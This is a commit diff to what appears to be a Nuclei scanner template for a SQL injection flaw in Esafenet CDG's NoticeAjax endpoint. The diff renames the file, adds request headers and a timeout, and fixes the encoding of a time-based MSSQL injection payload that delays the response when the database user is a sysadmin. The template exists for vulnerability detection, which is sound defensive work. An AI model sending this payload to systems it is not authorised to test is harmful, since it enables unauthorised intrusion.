Update and rename esafenet-NoticeAjax-Sqli.yaml to esafenet-noticeajax-sqli.yaml

http/vulnerabilities/esafenet/esafenet-noticeajax-sqli.yaml

@@ -1,4 +1,4 @@
-id: esafenet-NoticeAjax-Sqli
+id: esafenet-noticeajax-sqli
 
 info:
   name: Esafenet CDG NoticeAjax - Sql Injection
@@ -18,15 +18,18 @@ info:
 http:
   - raw:
       - |
+        @timeout: 10s
         POST /CDGServer3/NoticeAjax;Service HTTP/1.1
         Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
         Content-Type: application/x-www-form-urlencoded
-        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36
 
-        command=delNotice¬iceId=123';if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--
-    max-size: 1000
-    matchers-condition: and
+        command=delNotice&noticeId=123';if+(select+IS_SRVROLEMEMBER('sysadmin'))=1+WAITFOR+DELAY+'0:0:5'--
+
     matchers:
-      - type: status
-        status:
-          - 200
+      - type: dsl
+        dsl:
+          - 'contains(content_type,"text/xml")'
+          - 'contains(body,"OK")'
+          - 'status_code == 200'
+        condition: and